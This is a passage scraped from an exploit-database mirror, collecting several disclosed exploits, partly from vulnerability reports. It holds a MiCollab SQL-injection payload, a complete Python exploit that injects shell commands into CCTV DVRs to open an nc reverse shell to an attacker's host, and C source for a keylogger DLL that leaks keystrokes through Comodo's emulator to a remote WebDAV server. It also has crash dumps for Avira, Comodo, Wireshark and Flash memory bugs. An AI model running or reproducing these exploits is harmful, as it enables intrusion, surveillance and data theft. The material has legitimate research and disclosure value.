    #33 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #34 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #35 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #36 0x7fde2634fe55 in dissect_frame epan/dissectors/packet-frame.c:493:11
    #37 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #38 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #39 0x7fde25610a7e in call_dissector_only epan/packet.c:2674:8
    #40 0x7fde2560243f in call_dissector_with_data epan/packet.c:2687:8
    #41 0x7fde25601814 in dissect_record epan/packet.c:509:3
    #42 0x7fde255b4bb9 in epan_dissect_run_with_taps epan/epan.c:376:2
    #43 0x52f11b in process_packet tshark.c:3748:5
    #44 0x52840c in load_cap_file tshark.c:3504:11
    #45 0x51e71c in main tshark.c:2213:13

0x7fde2f36bfc4 is located 4 bytes to the right of global variable 'cb' defined in 'packet-pktc.c:539:27' (0x7fde2f36bfa0) of size 32
SUMMARY: AddressSanitizer: global-buffer-overflow epan/dissectors/packet-ber.c:2001:16 in dissect_ber_integer
Shadow bytes around the buggy address:
  0x0ffc45e657a0: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
  0x0ffc45e657b0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0ffc45e657c0: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0ffc45e657d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e657e0: 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
=>0x0ffc45e657f0: f9 f9 f9 f9 00 00 00 00[f9]f9 f9 f9 00 00 00 00
  0x0ffc45e65800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28209==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=12206. Attached is a file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39604.zip
HireHackking

MiCollab 7.0 - SQL Injection 

================
Exploit Title: SQL Injection Vulnerability in MiCollab v7.0
Date: 3-22-2016
Vendor Homepage: http://www.mitel.com
Vendor: Mitel
Software: MiCollab End User Portal
Version: v7.0 
Advisory: http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001
CVSS: 7.5


Product Summary
================
Mitel MiCollab delivers unified messaging, mobility, teleworking, and audio, web and video conferencing services tailored to the needs of today's mobile workforce. (http://www.mitel.com/products/collaboration-software/mitel-micollab)


Vulnerabilities
================
A SQL injection vulnerability has been identified in MiCollab 7.0 which, if successfully exploited, could allow an attacker to access sensitive information in the MiCollab database. (http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001)

The vulnerability is due to the unsanitized 'language' parameter in the 'mywindow' and 'PortletSelector' scripts.

 
Proof of concept
================
http://server/portal/portal/portal/portal/mywindow?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--
http://server/portal/portal/portal/PortletSelector?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--


Timeline
================
2016-02-01: Vendor advisory published
2016-03-22: PoC details published


Discovered by
================
Goran Tuzovic -- Goran [at] illumant.com


References
================
1. http://www.mitel.com/products/collaboration-software/mitel-micollab
2. http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001


About Illumant
================
Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks.  Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant.  For more information, visit https://illumant.com/
HireHackking 
#!/usr/bin/python

# Blog post: http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

'''
Vendors List

Ademco
ATS Alarmes technolgy and ststems
Area1Protection
Avio
Black Hawk Security
Capture
China security systems
Cocktail Service
Cpsecured
CP PLUS
Digital Eye'z no website
Diote Service & Consulting
DVR Kapta
ELVOX 
ET Vision 
Extra Eye 4 U
eyemotion 
EDS 
Fujitron 
Full HD 1080p
Gazer 
Goldeye 
Goldmaster
Grizzly 
HD IViewer
Hi-View 
Ipcom
IPOX 
IR
ISC Illinois Security Cameras, Inc.
JFL Alarmes 
Lince 
LOT
Lux 
Lynx Security 
Magtec 
Meriva Security 
Multistar 
Navaio
NoVus 
Optivision 
PARA Vision
Provision-ISR 
Q-See 
Questek 
Retail Solution Inc
RIT Huston .com 
ROD Security cameras 
Satvision 
Sav Technology
Skilleye 
Smarteye 
Superior Electrial Systems
TechShell 
TechSon
Technomate 
TecVoz 
TeleEye 
Tomura
truVue
TVT 
Umbrella 
United Video Security System, Inc
Universal IT Solutions
US IT Express
U-Spy Store
Ventetian 
V-Gurad Security
Vid8 
Vtek
Vision Line
Visar
Vodotech.com 
Vook 
Watchman 
Xrplus 
Yansi 
Zetec
ZoomX
'''

from sys import argv
import optparse
from urlparse import urlparse
from re import compile
import socket
import requests
from requests.exceptions import ConnectionError, Timeout, ContentDecodingError
from socket import timeout




def main():

    # parse command line options and atguments
    optparser = optparse.OptionParser(usage="%s <target-url> [options]" % argv[0])
    optparser.add_option('-c','--check',action="store_true",dest="checkvuln", default=False,
                         help="Check if target is vulnerable")
    optparser.add_option('-e','--exploit', action="store", type="string", dest="connback",
                         help="Fire the exploit against the given target URL")

    (options, args) = optparser.parse_args()

    try:
        target = args[0]
    except IndexError:
        optparser.print_help()
        exit()

    target_url = urlparse(target)

    # validating hostname
    if not target_url.hostname:
        print "[X] supplied target \"%s\" is not a valid URL" % target
        optparser.print_help()
        exit()

    # A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.
    socket.setdefaulttimeout(10)

    # is -c flag on check if target url is vulnrable.
    if options.checkvuln is True:
        print "[!] Checking if target \"%s\" is vulnable..." % target_url.netloc
        try:

            # Write file
            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'
                         % (target_url.scheme, target_url.netloc))

            # Read the file.
            response = raw_url_request('%s://%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))


            # remove it..
            raw_url_request('%s://%s//language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'
                         % (target_url.scheme, target_url.netloc))

        except (ConnectionError, Timeout, timeout) as e:
            print "[X] Unable to connect. reason: %s.  exiting..." % e.message
            return
        if response.text[0] != '1': 
            print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text
            return

        print "[V] Target \"%s\" is vulnerable!" % target_url.netloc



    # if -e is on then fire exploit,
    if options.connback is not None:

        # Validate connect-back information.
        pattern = compile('(?P<host>[a-zA-Z0-9\.\-]+):(?P<port>[0-9]+)')
        match = pattern.search(options.connback)
        if not match:
            print "[X] given connect back \"%s\" should be in the format for host:port" % options.connback
            optparser.print_help()
            exit()

        # fire remote code execution!

        # Three ..
        try:
            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'
                        % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))

        # Two ...

            raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'
                         % (target_url.scheme, target_url.netloc))


        # One. Left off!
            raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'
                         % (target_url.scheme, target_url.netloc))

        except (ConnectionError, Timeout, timeout) as e:
            print "[X] Unable to connect reason: %s.  exiting..." % e.message



        print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s" \
              % (match.group('host'), match.group('port'))


# Disabling URL encode hack
def raw_url_request(url):
    r = requests.Request('GET')
    r.url = url
    r = r.prepare()
    # set url without encoding
    r.url = url

    s = requests.Session()
    return s.send(r)



if __name__ == '__main__':
    main()
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=769

Comodo Antivirus includes a x86 emulator that is used to unpack and monitor obfuscated executables, this is common practice among antivirus products. The idea is that emulators can run the code safely for a short time, giving the sample enough time to unpack itself or do something that can be profiled. Needless to say, this is a very significant and complicated attack surface, as an attacker can trigger emulation simply by sending the victim an email or getting them to visit a website with zero user interaction.

I've found some memory corruption issues with the emulator, but Comodo also implement hundreds of shims for Win32 API calls, so that things like CreateFile, LoadLibrary, and so on appear to work to the emulated code. Astonishingly, some of these shims simply extract the parameters from the emulated address space and pass them directly to the real API, while running as NT AUTHORITY\SYSTEM. The results are then poked back in to the emulator, and the code continues.

The possible attacks here are too numerous to mention.

Here are some of the more obvious mistakes, let's start with USER32!GetKeyState (wtf!!!!). Here is the emulator shim from mach32.dll:

.text:1001D9A0                sub_1001D9A0    proc near               ; DATA XREF: .data:1016B10C31o
.text:1001D9A0
.text:1001D9A0                arg_0           = dword ptr  8
.text:1001D9A0
.text:1001D9A0 55                             push    ebp
.text:1001D9A1 8B EC                          mov     ebp, esp
.text:1001D9A3 8B 45 08                       mov     eax, [ebp+arg_0]  ; pVMClass
.text:1001D9A6 8B 08                          mov     ecx, [eax]        ; vtbl
.text:1001D9A8 8B 91 98 00 00+                mov     edx, [ecx+98h]    ; VArg2Rarg
.text:1001D9AE 6A 00                          push    0
.text:1001D9B0 6A 06                          push    6                 ; TypeDword
.text:1001D9B2 6A 01                          push    1                 ; ParamNum
.text:1001D9B4 50                             push    eax               ; this
.text:1001D9B5 FF D2                          call    edx               ; VArg2Rarg(pVMClass, 1, TypeDword, 0); Virtual Arg to Real Arg
.text:1001D9B7 50                             push    eax             ; nVirtKey
.text:1001D9B8 FF 15 F4 62 07+                call    ds:GetKeyState    ; Extract parameter from emulator, then return the real value (!!!)
.text:1001D9BE 98                             cwde
.text:1001D9BF 5D                             pop     ebp
.text:1001D9C0 C3                             retn
.text:1001D9C0                sub_1001D9A0    endp


The emulated code can query the real keyboard state (!!!).

I've found that the simplest method of triggering the emulation is to create a DLL with a writable text section. An attacker would also need a way to exfiltrate the monitored keystrokes out of the emulator, but I've found that the shim for kernel32!SetCurrentDirectoryA actually calls GetFileAttributes() on the specified parameter, so you can encode it as a UNC path and send it over the network to your control server. This doesn't require any user interaction.

To reproduce this bug, first, create a DLL like this:

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "KERNEL32")
#pragma comment(lib, "USER32")

// This is required to trigger the generic unpacker in comodo.
#pragma comment(linker, "/SECTION:.text,ERW")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char path[128];
    char *ptr;

    ZeroMemory(path, sizeof path);

    ptr  = strcpy(path, "\\\\?\\UNC\\192.168.237.1\\");
    ptr += strlen(ptr);

    SetCurrentDirectory(path);

    for (;;) {
        for (*ptr = 'A'; *ptr <= 'Z'; (*ptr)++) {
            if (GetKeyState(*ptr) & 0x8000) {
                SetCurrentDirectory(path);
            }
        }
    }

    return TRUE;
}

Then run a minimal WebDAV server like this on the remote host:

#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer

class WebDavHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Allow', 'OPTIONS, GET, PROPFIND')
        self.send_header('DAV', '1, 2')
        self.end_headers()
        self.connection.shutdown(1)

    def do_PROPFIND(self):
        self.send_response(207)
        self.send_header('Content-type', 'text/xml')
        self.end_headers()
        self.wfile.write('<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>')
        self.connection.shutdown(1)


SocketServer.TCPServer(('0.0.0.0', 80), WebDavHandler).serve_forever()

You only get a few seconds of logging per scan, but you can duplicate the payload thousands of times into a ZIP archive for effectively unlimited scan time. Something like this:

$ for ((i=0;i<1024;i++)); do cp keystroke.dll $i.dll; zip keystroke.zip $i.dll; rm -f $i.dll; done

Now scanning that zip file will send all keystrokes to the WebDAV server for approximately ten or so minutes (please note, there's no reason this can't be extended indefinitely), see screenshot for reference.

This is not the only attack possible, you can also extract, delete, query and use cryptographic keys, smartcards and other security hardware, because calls to CAPI routines like are all passed directly through to the real API:

ADVAPI32!CryptAcquireContextA
ADVAPI32!CryptDecrypt
ADVAPI32!CryptDeriveKey
ADVAPI32!CryptCreateHash .. and so on.

Any secrets stored in the registry are also exposed to attackers via RegQueryValueEx and GetProfileInt among others, all passed directly through to the real API. The list of possible attacks here is simply too long to enumerate, any competent developer can see this is a colossal mistake that needs to be remedied urgently.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39599.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765

One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).

The code is doing something like:

if (Section->SizeOfRawData + Section->VirtualAddress < 8192) {
    buf = malloc(8192);

    memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData);
}


The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.

To reproduce this bug, create an executable with a section like this:

  NAME          RVA      VSZ   RAW_SZ  RAW_PTR  nREL  REL_PTR nLINE LINE_PTR     FLAGS
  .text    ff003fff     1fff     1fff      200     0        0     0        0         0  ---

With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData

(e58.2b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000
eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
aecore!ave_proc+0x1fc2c:
7291545c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:011> db esi
35785219  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785229  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785239  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785249  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785259  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785269  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785279  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785289  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

I think it started writing to ptr - 8192, lets see what's there:

0:011> db edi - (0n8192 - (ecx * 4)) 
41293fdc  00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
41293fec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41293ffc  41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  AAAA????????????
4129400c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129401c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129402c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129403c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129404c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Yes! 

Without page heap, you should get heap corruption, probably writing to 0x41414141.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=764

Packman is an obscure opensource executable packer that Comodo Antivirus attempts to unpack during scanning. The code is available online here:

http://packmanpacker.sourceforge.net/

If the compression method is set to algorithm 1, compression parameters are read directly from the input executable without validation. Fuzzing this unpacker revealed a variety of crashes due to this, such as causing pointer arithmetic in CAEPACKManUnpack::DoUnpack_With_NormalPack to move pksDeCodeBuffer.ptr to an arbitrary address, which allows an attacker to free() an arbitrary pointer.

This issue is obviously exploitable to execute code as NT AUTHORITY\SYSTEM.

The attached testcase will attempt to free() an invalid pointer to demonstrate this.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39601.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=763

The LZMA specification says the following about the memory usage of decompression:

"The size of the probability model counter arrays is calculated with the following formula: size_of_prob_arrays = 1846 + 768 * (1 << (lp + lc))"

But that formula only holds true if you keep the parameters within the specified range, which the SDK gives as:

lp - The number of literal pos bits (low bits of current position for literals).
     It can be in the range from 0 to 4. The default value is 0.

lc - The number of literal context bits (high bits of previous literal).
     It can be in the range from 0 to 8. The default value is 3.

If you set the parameters outside those ranges, then the rest of the assumptions don't hold and memory corruption can occur. Comodo do not attempt to keep these parameters in range, and lots of memory corruption can occur, the attached testcase should crash during an LZMA decode operation by overflowing a heap buffer.

This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM. 

(438.dd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab          rep stos word ptr [rdi]
0:010> r
rax=0000000000000400 rbx=0000000000000000 rcx=000000007ffffe88
rdx=0000000000000001 rsi=000000000b154588 rdi=000000000bbfc000
rip=000007fef29890cc rsp=000000000d6cd2c0 rbp=0000000000000000
 r8=0000000000023c7c  r9=000000000d6cd378 r10=0000000000000001
r11=000000000b361000 r12=0000000000000001 r13=000000000b39c38c
r14=0000000000000000 r15=000000000bbfaea4
iopl=0         nv up ei ng nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab          rep stos word ptr [rdi]

This is trying to initialize the probabilities array, but overflowing the heap buffer allocated and running off a page boundary.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39602.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=762

In COleMemFile::LoadDiFatList, values from the header are used to parse the document FAT. If header.csectDif is very high, the calculation overflows and a very small buffer is allocated.

The document FAT is then memcpy'd onto the buffer directly from the input file being scanned, resulting in a nice clean heap overflow.

This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM, the attached test cases should reproduce the problem reliably (this issue was found using trivial fuzzing). You can see this testcase has this->m_oleDocHeader.csectDif = 0x40000001, and so this->m_oleDocHeader.csectDif * this->diFATPerSect * 4 + 436 wraps to 0x3b0.

(b80.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax ds:00000000`0c79a1f0=????????
0:009> u
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax
00000000`0ac5a4be 4d8bc8          mov     r9,r8
00000000`0ac5a4c1 49c1e905        shr     r9,5
00000000`0ac5a4c5 7550            jne     script!CreateInstance+0x17907 (00000000`0ac5a517)
00000000`0ac5a4c7 4d8bc8          mov     r9,r8
00000000`0ac5a4ca 49c1e903        shr     r9,3
00000000`0ac5a4ce 7414            je      script!CreateInstance+0x178d4 (00000000`0ac5a4e4)
00000000`0ac5a4d0 4883e908        sub     rcx,8
0:009> r
rax=00000000004e8400 rbx=000000000c782120 rcx=000000000c79a1f0
rdx=fffffffffffe99f8 rsi=000000000c7839f0 rdi=0000000000000017
rip=000000000ac5a4bc rsp=000000000d80e4b8 rbp=0000000000000bd6
 r8=00000000000001f8  r9=0000000000000000 r10=00000006ffffffff
r11=000000000c799ff8 r12=00000000000138a1 r13=000000000aea0000
r14=0000000000000000 r15=0000000000336b00
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901            mov     dword ptr [rcx],eax ds:00000000`0c79a1f0=????????


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39603.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=718

There is a use-after-free in Sprite Creation. If a Sprite is created, and then the handler for the frameConstructed event triggers a remove object action, the Sprite is then used after it has been freed.

A sample swf is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39610.zip